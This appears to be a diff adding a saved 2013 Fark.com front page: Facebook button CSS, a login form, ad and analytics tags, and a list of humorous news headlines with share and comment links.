+.fb_button_rtl .fb_button_text{background:#5f78ab url(http://static.ak.fbcdn.net/rsrc.php/v2/yl/x/FGFbc80dUKj.png);border-top:solid 1px #879ac0;border-bottom:solid 1px #1a356e;color:#fff;display:block;font-family:"lucida grande",tahoma,verdana,arial,sans-serif;font-weight:bold;padding:2px 6px 3px 6px;margin:1px 1px 0 21px;text-shadow:none}
+a.fb_button,
+a.fb_button_rtl,
+.fb_button,
+.fb_button_rtl{text-decoration:none}
+a.fb_button:active .fb_button_text,
+a.fb_button_rtl:active .fb_button_text,
+.fb_button:active .fb_button_text,
+.fb_button_rtl:active .fb_button_text{border-bottom:solid 1px #29447e;border-top:solid 1px #45619d;background:#4f6aa3;text-shadow:none}
+.fb_button_xlarge,
+.fb_button_xlarge_rtl{background-position:left -60px;font-size:24px;line-height:30px}
+.fb_button_xlarge .fb_button_text{padding:3px 8px 3px 12px;margin-left:38px}
+a.fb_button_xlarge:active{background-position:left -99px}
+.fb_button_xlarge_rtl{background-position:right -268px}
+.fb_button_xlarge_rtl .fb_button_text{padding:3px 8px 3px 12px;margin-right:39px}
+a.fb_button_xlarge_rtl:active{background-position:right -307px}
+.fb_button_large,
+.fb_button_large_rtl{background-position:left -138px;font-size:13px;line-height:16px}
+.fb_button_large .fb_button_text{margin-left:24px;padding:2px 6px 4px 6px}
+a.fb_button_large:active{background-position:left -163px}
+.fb_button_large_rtl{background-position:right -346px}
+.fb_button_large_rtl .fb_button_text{margin-right:25px}
+a.fb_button_large_rtl:active{background-position:right -371px}
+.fb_button_medium,
+.fb_button_medium_rtl{background-position:left -188px;font-size:11px;line-height:14px}
+a.fb_button_medium:active{background-position:left -210px}
+.fb_button_medium_rtl{background-position:right -396px}
+.fb_button_text_rtl,
+.fb_button_medium_rtl .fb_button_text{padding:2px 6px 3px 6px;margin-right:22px}
+a.fb_button_medium_rtl:active{background-position:right -418px}
+.fb_button_small,
+.fb_button_small_rtl{background-position:left -232px;font-size:10px;line-height:10px}
+.fb_button_small .fb_button_text{padding:2px 6px 3px;margin-left:17px}
+a.fb_button_small:active,
+.fb_button_small:active{background-position:left -250px}
+.fb_button_small_rtl{background-position:right -440px}
+.fb_button_small_rtl .fb_button_text{padding:2px 6px;margin-right:18px}
+a.fb_button_small_rtl:active{background-position:right -458px}
+.fb_share_count_wrapper{position:relative;float:left}
+.fb_share_count{background:#b0b9ec none repeat scroll 0 0;color:#333;font-family:"lucida grande", tahoma, verdana, arial, sans-serif;text-align:center}
+.fb_share_count_inner{background:#e8ebf2;display:block}
+.fb_share_count_right{margin-left:-1px;display:inline-block}
+.fb_share_count_right .fb_share_count_inner{border-top:solid 1px #e8ebf2;border-bottom:solid 1px #b0b9ec;margin:1px 1px 0 1px;font-size:10px;line-height:10px;padding:2px 6px 3px;font-weight:bold}
+.fb_share_count_top{display:block;letter-spacing:-1px;line-height:34px;margin-bottom:7px;font-size:22px;border:solid 1px #b0b9ec}
+.fb_share_count_nub_top{border:none;display:block;position:absolute;left:7px;top:35px;margin:0;padding:0;width:6px;height:7px;background-repeat:no-repeat;background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yP/x/bSOHtKbCGYI.png)}
+.fb_share_count_nub_right{border:none;display:inline-block;padding:0;width:5px;height:10px;background-repeat:no-repeat;background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yL/x/i_oIVTKMYsL.png);vertical-align:top;background-position:right 5px;z-index:10;left:2px;margin:0 2px 0 0;position:relative}
+.fb_share_no_count{display:none}
+.fb_share_size_Small .fb_share_count_right .fb_share_count_inner{font-size:10px}
+.fb_share_size_Medium .fb_share_count_right .fb_share_count_inner{font-size:11px;padding:2px 6px 3px;letter-spacing:-1px;line-height:14px}
+.fb_share_size_Large .fb_share_count_right .fb_share_count_inner{font-size:13px;line-height:16px;padding:2px 6px 4px;font-weight:normal;letter-spacing:-1px}
+.fb_share_count_hidden .fb_share_count_nub_top,
+.fb_share_count_hidden .fb_share_count_top,
+.fb_share_count_hidden .fb_share_count_nub_right,
+.fb_share_count_hidden .fb_share_count_right{visibility:hidden}
+.fb_connect_bar_container div,
+.fb_connect_bar_container span,
+.fb_connect_bar_container a,
+.fb_connect_bar_container img,
+.fb_connect_bar_container strong{background:none;border-spacing:0;border:0;direction:ltr;font-style:normal;font-variant:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal;vertical-align:baseline}
+.fb_connect_bar_container{position:fixed;left:0 !important;right:0 !important;height:42px !important;padding:0 25px !important;margin:0 !important;vertical-align:middle !important;border-bottom:1px solid #333 !important;background:#3b5998 !important;z-index:99999999 !important;overflow:hidden !important}
+.fb_connect_bar_container_ie6{position:absolute;top:expression(document.compatMode=="CSS1Compat"? document.documentElement.scrollTop+"px":body.scrollTop+"px")}
+.fb_connect_bar{position:relative;margin:auto;height:100%;width:100%;padding:6px 0 0 0 !important;background:none;color:#fff !important;font-family:"lucida grande", tahoma, verdana, arial, sans-serif !important;font-size:13px !important;font-style:normal !important;font-variant:normal !important;font-weight:normal !important;letter-spacing:normal !important;line-height:1 !important;text-decoration:none !important;text-indent:0 !important;text-shadow:none !important;text-transform:none !i [...]
+.fb_connect_bar a:hover{color:#fff}
+.fb_connect_bar .fb_profile img{height:30px;width:30px;vertical-align:middle;margin:0 6px 5px 0}
+.fb_connect_bar div a,
+.fb_connect_bar span,
+.fb_connect_bar span a{color:#bac6da;font-size:11px;text-decoration:none}
+.fb_connect_bar .fb_buttons{float:right;margin-top:7px}
+.fb_edge_widget_with_comment{position:relative;*z-index:1000}
+.fb_edge_widget_with_comment span.fb_edge_comment_widget{position:absolute}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget{z-index:1}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget .FB_Loader{left:0;top:1px;margin-top:6px;margin-left:0;background-position:50% 50%;background-color:#fff;height:150px;width:394px;border:1px #666 solid;border-bottom:2px solid #283e6c;z-index:1}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget.dark .FB_Loader{background-color:#000;border-bottom:2px solid #ccc}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget.siderender
+.FB_Loader{margin-top:0}
+.fbpluginrecommendationsbarleft,
+.fbpluginrecommendationsbarright{position:fixed !important;bottom:0;z-index:999}
+/* @noflip */
+.fbpluginrecommendationsbarleft{left:10px}
+/* @noflip */
+.fbpluginrecommendationsbarright{right:10px}</style><script src="Filer_for_fark/osd.js" type="text/javascript"></script></head> <body onpageshow='event.persisted&&(function(){var x=CKEDITOR.instances,d,i;for(i in x){d=x[i].document;if(d){d.$.designMode="off";d.$.designMode="on";}}})();'> <script type="text/javascript">
+ $(document).ready(function() {
+ $("img.retina").retina();
+ });
+</script><!-- BEGIN left 2013-01-25 01:50:17--> <div id="container">
+<table id="newLayoutTable">
+<tbody><tr>
+<td colspan="2">
+
+<div id="header">
+
+ <!-- a target="_top" href="http://www.fark.com"><img id="mainLogo" src="http://img.fark.net/images/2007/site/farkLogo2.gif" alt="Fark Logo" border="0" width="226" height="100"></a> -->
+ <a id="logo" href="http://www.fark.com/">
+ It's Not News It's Fark.com
+ </a> <div class="ad_container top">
+ <div id="topAd728x90"> <!-- begin ad tag (leaderboard) --> <script type="text/javascript">
+ googletag.cmd.push(function() { googletag.display('topAd728x90'); });
+ </script> <iframe style="border: 0px none;" marginheight="0" marginwidth="0" name="google_ads_iframe_/1055466/MainPage-Leaderboard_0" id="google_ads_iframe_/1055466/MainPage-Leaderboard_0" frameborder="0" height="90" scrolling="no" width="728"></iframe><iframe style="border: 0px none; visibility: hidden; display: none;" marginheight="0" marginwidth="0" name="google_ads_iframe_/1055466/MainPage-Leaderboard_0__hidden__" id="google_ads_iframe_/1055466/MainPage-Leaderboard_0__hidden__" fr [...]
+</div>
+
+<div id="headerBottom"> <div id="tagLine">Real news. Real funny </div> <form method="post" enctype="application/x-www-form-urlencoded" action="https://www.fark.com/login">
+ <input name="continue" value="H50d-Azv6iXm2clwj0fAXnVf7doq7w3ob82lqMGs1rlMX7AT4jGsp7nMqi" type="hidden"> <input name="tab" value="main" type="hidden">
+ <input name="e0.H502-sGlj4Ir7L0axdKhjn6gveMUm7HFi1FI0" value="H50a_QGM8sxCLbDVwze9Q535O15LgW3PH0bBokIDLl6hSjJBUXrzd6BarITdvo-logN-twi83bfZvTst" type="hidden">
+ <div id="messageCenter">
+
+
+ <div id="loginContainer">
+ <div id="loginContent" class="js">
+ <div id="loginLinks">
+ <a href="#" id="loginLink">Log In</a> | <a href="http://www.fark.com/newuser">Sign Up »</a>
+ </div>
+ <div id="loginBoxes">
+ <div class="loginSection">
+ <label for="loginName">Login</label>
+ <input name="ulogin" id="loginName" type="text">
+ </div>
+ <div class="loginSection">
+ <label for="loginPass">Password</label>
+ <input name="passwd" id="loginPass" type="password">
+ </div>
+ <div class="loginSection submitLogin">
+ <input class="searchSubmButton" value="Go" type="submit">
+ </div>
+ <div class="loginForgotPass">
+ <a href="http://www.fark.com/forgotpassword">Forgot password?</a>
+ </div>
+ <div class="loginCancel">
+ <a href="#" id="cancelLogin">X</a>
+ </div>
+ </div>
+ </div>
+
+ </div> </div> </form> </div>
+</div> </td>
+</tr>
+<tr>
+<td colspan="2">
+
+ <div id="headerMenuContainer"> <!-- Top navigation menu -->
+ <ul id="headerMenu">
+ <li class="menuSelected"><a href="http://www.fark.com/">Fark</a></li>
+ <li><a href="http://total.fark.com/">TotalFark</a></li>
+ <li><a href="http://www.fark.com/users"><i>my</i>Fark</a></li>
+ <li><a href="http://www.fark.com/farq/">About/FArQ</a></li> <li><a href="http://www.fark.com/contests/">Contests</a></li> <li><a href="https://shop.fark.com/">Store</a></li>
+ <li><a href="http://www.fark.com/feedback">Contact Us</a></li>
+ <li><a href="http://m.fark.com/">Mobile</a></li>
+ </ul>
+
+ <div id="searchBar">
+ <form method="get" action="http://www.fark.com/hlsearch" name="topSearchFrm" target="_top" class="killspacehack">
+ <noscript>Search:</noscript>
+ <input placeholder="Search Fark" name="qq" id="searchInput" maxlength="255" type="text">
+ <input class="searchSubmButton" value="Go" type="submit">
+ </form>
+ </div>
+
+</div> <!-- headerMenuContainer --> <!-- headerMenuContainer NOSCRIPT -->
+<noscript>
+ <div id="headerMenuContainerNoScript"> <!-- Top navigation menu -->
+ <div id="loginBoxesNoScript">
+ <form method="post" enctype="application/x-www-form-urlencoded" action="https://www.fark.com/login">
+ <div class="loginSectionNoScript submitLogin">
+ <input type="submit" class="searchSubmButtonNoScript" value="Go">
+ </div>
+ <div class="loginSectionNoScript">
+ <label for="loginPass_ns">Password</label>
+ <input type="password" name="passwd" id="loginPass_ns">
+ </div>
+ <div class="loginSectionNoScript">
+ <label for="loginName_ns">Login</label>
+ <input type="text" name="ulogin" id="loginName_ns">
+ </div>
+ <div class="loginSectionNoScript" style="vertical-align:middle; padding-right:15px; padding-top:10px;"> Turn on javascript (or enable it for Fark) for a better user experience.</div> <input type="hidden" name="e0.H5098UQdE1JDnCLkXzTGgaVpkDky3pShaWnPV" value="H50e9w3sAuBijEAGU0QAarTQ_er15YhE42zT6-F7fqgRVRF13_4DAC2NcEgqpWUoltzL5NlrmHcO1HQD">
+ </form>
+ </div>
+</div>
+</noscript> <!-- /headerMenuContainer NOSCRIPT -->
+
+<div id="jsblobbo1">
+ <!-- Start Quantcast tag (tt) --> <script type="text/javascript" src="Filer_for_fark/quant.js"></script> <script type="text/javascript">
+//<![CDATA[
+_qacct="p-68zSmOp-CNdgc";quantserve();
+//]]></script>
+<noscript> <img src="http://pixel.quantserve.com/pixel/p-68zSmOp-CNdgc.gif" style="display: none; border: 0;" height="1" width="1" alt="Quantcast"></noscript> <!-- End Quantcast tag --> <!-- Begin comScore Tag -->
+<script type="text/javascript">
+ var _comscore = _comscore || [];
+ _comscore.push({ c1: "2", c2: "6632678" });
+ (function() {
+ var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
+ s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
+ el.parentNode.insertBefore(s, el);
+ })();
+</script>
+<noscript>
+ <img src="http://b.scorecardresearch.com/p?c1=2&c2=6632678&cv=2.0&cj=1" alt="">
+</noscript>
+<!-- End comScore Tag --> </div>
+<!--[if lt IE 8]><font color="white">Please consider upgrading Internet Explorer to at least version 8, if possible.
+Some parts of our pages may not display correctly on your old version.
+(If you already did, try turning off Compatibility View.)
+</font><br><![endif]--> <!--[if lt IE 7]><noscript><img width="990" height="1" src="http://img.fark.net/images/2007/site/trans.gif" alt=""></noscript><![endif]-->
+<div class="invis"><b><small>If you can read this, either the style sheet didn't load or you have an older browser that doesn't support
+style sheets. Try clearing your browser cache and refreshing the page.</small></b></div>
+
+</td>
+</tr>
+ <tr><td id="leftColSpacer"><!-- --></td><td id="rightColSpacer"><!-- --></td></tr>
+<tr>
+<td id="leftCol">
+
+ <ul id="catMenu">
+
+
+ <li class="catSelected"><a href="http://www.fark.com/">Main</a></li>
+ <li><a href="http://www.fark.com/sports/">Sports</a></li>
+ <li><a href="http://www.fark.com/business/">Business</a></li>
+ <li><a href="http://www.fark.com/geek/">Geek</a></li>
+ <li><a href="http://www.fark.com/entertainment/">Entertainment</a></li>
+ <li><a href="http://www.fark.com/politics/">Politics</a></li>
+ <li><a href="http://www.fark.com/video/">Video</a></li>
+ <li><a href="http://www.fark.com/farkus/">FarkUs</a></li> </ul> <div id="newsContainer"><!-- TOP end -->
+<div class="mainDate">Fri January 25, 2013</div>
+ <table class="headlineTable "><tbody> <tr class="headlineRowTitle">
+ <td class="colHeaders headlineSourceLabel">Source </td>
+ <td class="colHeaders headlineHeadlineLabel" colspan="2">Fark Headline</td>
+ <td class="colHeaders headlineCommentsLabel">Comments</td> </tr> <tr class="headlineRow id7555333"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555333/http://io9.com/5978647/watch-this-squirrel-deliver-the-greatest-oh-sht-face-in-the-history-of-nature-documentaries" target="_blank"> <img alt="(io9)" title="io9" src="Filer_for_fark/io9.jpg" height="27" width="77"> </a> <div class="hlSpacer"> </ [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555333/http://io9.com/5978647/watch-this-squirrel-deliver-the-greatest-oh-sht-face-in-the-history-of-nature-documentaries" target="_blank">Watch this squirrel deliver the greatest "oh sh*t" face in the history of nature documentaries</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555333" target="_blank">io9.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7555333&t=Watch%20this%20squirrel%20deliver%20the%20greatest%20%22oh%20sh*t%22%20face%20in%20the%20history%20of%20nature%20documentaries" onclick="trackSocial('facebook','share','http://fark.com/go/7555333')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Watch%20this%20squirrel%20deliver%20the%20greatest%20%22oh%20sh*t%22%20face%20in%20the%20history%20of%20nature%20documentaries%20http%3A%2F%2Ffark.com%2Fgo%2F7555333&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%2 [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7555333/Watch-this-squirrel-deliver-greatest-oh-sht-face-in-history-of-nature-documentaries" target="_top"> (5) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7555117"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555117/http://www.foxnews.com/us/2013/01/24/indiana-girl-16-allegedly-drives-60-mil [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/strange" title="Strange"><span class="ttag topic10"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555117/http://www.foxnews.com/us/2013/01/24/indiana-girl-16-allegedly-drives-60-miles-in-pickup-truck-to-beat-up-another/%3Fintcmp%3Dobinsite" target="_blank">Seems
+ that girls driving pickup trucks in Indiana is something unusual. And
+so are girls who drive 60 miles to kick another girl's butt for Facebook
+ insults</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555117" target="_blank">foxnews.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7555117&t=Seems%20that%20girls%20driving%20pickup%20trucks%20in%20Indiana%20is%20something%20unusual.%20And%20so%20are%20girls%20who%20drive%2060%20miles%20to%20kick%20another%20girl%27s%20butt%20for%20Facebook%20insults" onclick="tra [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Seems%20that%20girls%20driving%20pickup%20trucks%20in%20Indiana%20is%20something%20unusual.%20And%20so%20are%20girls%20who%20drive%2060%20miles%20to...%20http%3A%2F%2Ffark.com%2Fgo%2F7555117&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20New [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7555117/Seems-that-girls-driving-pickup-trucks-in-Indiana-is-something-unusual-And-so-are-girls-who-drive-60-miles-to-kick-another-girls-butt-for-Facebook-insults" target="_top"> (9) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7555185"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555185/http:/ [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/psa" title="PSA"><span class="ttag topic14"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555185/http://www.npr.org/blogs/health/2013/01/24/170160105/if-you-think-youre-good-at-multitasking-you-probably-arent" target="_blank">Think you're good at multitasking? Chances are, you aren't</a></span> <div style="visibility: visible;" class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555185" target="_blank">npr.org</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7555185&t=Think%20you%27re%20good%20at%20multitasking%3F%20Chances%20are%2C%20you%20aren%27t" onclick="trackSocial('facebook','share','http://fark.com/go/7555185')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Think%20you%27re%20good%20at%20multitasking%3F%20Chances%20are%2C%20you%20aren%27t%20http%3A%2F%2Ffark.com%2Fgo%2F7555185&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3AFark.com% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7555185/Think-youre-good-at-multitasking-Chances-are-you-arent" target="_top"> (50) </a> <div class="hlSpacer"> </div> </td> </tr> </tbody></table><br> <br> <div class="mainDate">Thu January 24, 2013</div>
+ <table class="headlineTable "><tbody> <tr class="headlineRow id7554883"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554883/http://www.nytimes.com/2013/01/23/dining/restaurants-turn-camera-shy.html%3F_r%3D3%26" target="_blank"> <img alt="(The New York Times)" title="The New York Times" src="Filer_for_fark/nytimes.gif" height="27" width="77"> </a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/obvious" title="Obvious"><span class="ttag topic15"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554883/http://www.nytimes.com/2013/01/23/dining/restaurants-turn-camera-shy.html%3F_r%3D3%26" target="_blank">Restaurants are tired of diners taking pictures of every freakin' plate of food they serve</a></span> <div style="visibility: hidden;" class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554883" target="_blank">nytimes.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554883&t=Restaurants%20are%20tired%20of%20diners%20taking%20pictures%20of%20every%20freakin%27%20plate%20of%20food%20they%20serve" onclick="trackSocial('facebook','share','http://fark.com/go/7554883')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Restaurants%20are%20tired%20of%20diners%20taking%20pictures%20of%20every%20freakin%27%20plate%20of%20food%20they%20serve%20http%3A%2F%2Ffark.com%2Fgo%2F7554883&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Enter [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554883/Restaurants-are-tired-of-diners-taking-pictures-of-every-freakin-plate-of-food-they-serve" target="_top"> (180) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7554919"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554919/http://www.buzzfeed.com/ryanhatesthis/meet-flamy-the-terrifying-braz [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/fail" title="Fail"><span class="ttag topic42"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554919/http://www.buzzfeed.com/ryanhatesthis/meet-flamy-the-terrifying-brazilian-burn-ward-mas" target="_blank">Is this the most inappropriate mascot we can find for burn victims?</a></span> <div style="visibility: hidden;" class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7554919" target="_blank">buzzfeed.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7554919&t=Is%20this%20the%20most%20inappropriate%20mascot%20we%20can%20find%20for%20burn%20victims%3F" onclick="trackSocial('facebook','share','http://fark.com/go/7554919')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Is%20this%20the%20most%20inappropriate%20mascot%20we%20can%20find%20for%20burn%20victims%3F%20http%3A%2F%2Ffark.com%2Fgo%2F7554919&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entertainment%20News%2Cfarkgeek%3A [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7554919/Is-this-most-inappropriate-mascot-we-can-find-for-burn-victims" target="_top"> (92) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7555045"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555045/http://www.thisislincolnshire.co.uk/5ft-tall-snow-penis-shocks-motorists-Stamford/story-17950104- [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555045/http://www.thisislincolnshire.co.uk/5ft-tall-snow-penis-shocks-motorists-Stamford/story-17950104-detail/story.html" target="_blank">British
+ motorists surprised on their drive home. What did they see? A) Large
+spill of marbles, B) Men on stilts, or C) A five-foot tall snow penis?</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555045" target="_blank">thisislincolnshire.co.uk</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7555045&t=British%20motorists%20surprised%20on%20their%20drive%20home.%20What%20did%20they%20see%3F%20A%29%20Large%20spill%20of%20marbles%2C%20B%29%20Men%20on%20stilts%2C%20or%20C%29%20A%20five-foot%20tall%20snow%20penis% [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=British%20motorists%20surprised%20on%20their%20drive%20home.%20What%20did%20they%20see%3F%20A%29%20Large%20spill%20of%20marbles%2C%20B%29%20Men%20on%20stilt...%20http%3A%2F%2Ffark.com%2Fgo%2F7555045&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Pa [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7555045/British-motorists-surprised-on-their-drive-home-What-did-they-see-A-Large-spill-of-marbles-B-Men-on-stilts-C-A-five-foot-tall-snow-penis" target="_top"> (33) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow1 id7555041"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555041/http://www.theatlantic [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/amusing" title="Amusing"><span class="ttag topic01"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555041/http://www.theatlantic.com/technology/archive/2013/01/do-not-try-to-recreate-this-16th-century-german-cat-bomb-at-home/272458/" target="_blank">Necessity may be the mother of invention, but even she never expected rocket-propelled cats</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555041" target="_blank">theatlantic.com</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7555041&t=Necessity%20may%20be%20the%20mother%20of%20invention%2C%20but%20even%20she%20never%20expected%20rocket-propelled%20cats" onclick="trackSocial('facebook','share','http://fark.com/go/7555041')">
+ <img class="bookmarkIcon" src="Filer_for_fark/shareFacebook.gif" alt="Share on Facebook" title="Share on Facebook" height="16" width="16"></a> <a target="_blank" href="https://twitter.com/share?text=Necessity%20may%20be%20the%20mother%20of%20invention%2C%20but%20even%20she%20never%20expected%20rocket-propelled%20cats%20http%3A%2F%2Ffark.com%2Fgo%2F7555041&related=fark%3AThe%20Official%20Fark%20Twitter%20Feed%2Cfarkmain%3AFark.com%20Main%20Page%20News%2Cfarkshow%3AFark.com%20Entert [...]
+ <img class="bookmarkIcon" src="Filer_for_fark/shareTwitter.png" alt="Share on Twitter" title="Share on Twitter" height="16" width="16"></a> </div> </td>
+
+ <td class="headlineComments"> <a href="http://www.fark.com/comments/7555041/Necessity-may-be-mother-of-invention-but-even-she-never-expected-rocket-propelled-cats" target="_top"> (57) </a> <div class="hlSpacer"> </div> </td> </tr> <tr class="headlineRow id7555007"> <td class="headlineSourceImage"> <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555007/http://capeandislands.org/post/yikes-15000-crocodiles-escape-farm-south-a [...]
+
+ <td class="headlineTopic">
+ <a target="_top" href="http://www.fark.com/topic/scary" title="Scary"><span class="ttag topic19"> </span></a> <div class="hlSpacer"> </div> </td>
+
+ <td class="headlineText "> <span class="headline"><a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555007/http://capeandislands.org/post/yikes-15000-crocodiles-escape-farm-south-africa-area-evacuated" target="_blank">15,000 crocodiles escape flooded farm in South Africa. Area, bowels evacuated</a></span> <div class="hlSpacer URLHover">
+ source: <a rel="nofollow" class="outbound_link" href="http://www.fark.com/goto/7555007" target="_blank">capeandislands.org</a> | share: <a target="_blank" href="https://www.facebook.com/sharer.php?u=http%3A%2F%2Ffark.com%2Fgo%2F7555007&t=15%2C000%20crocodiles%20escape%20flooded%20farm%20in%20South%20Africa.%20Area%2C%20bowels%20evacuated" onclick="trackSocial('facebook','share','http://fark.com/go/7555007')">
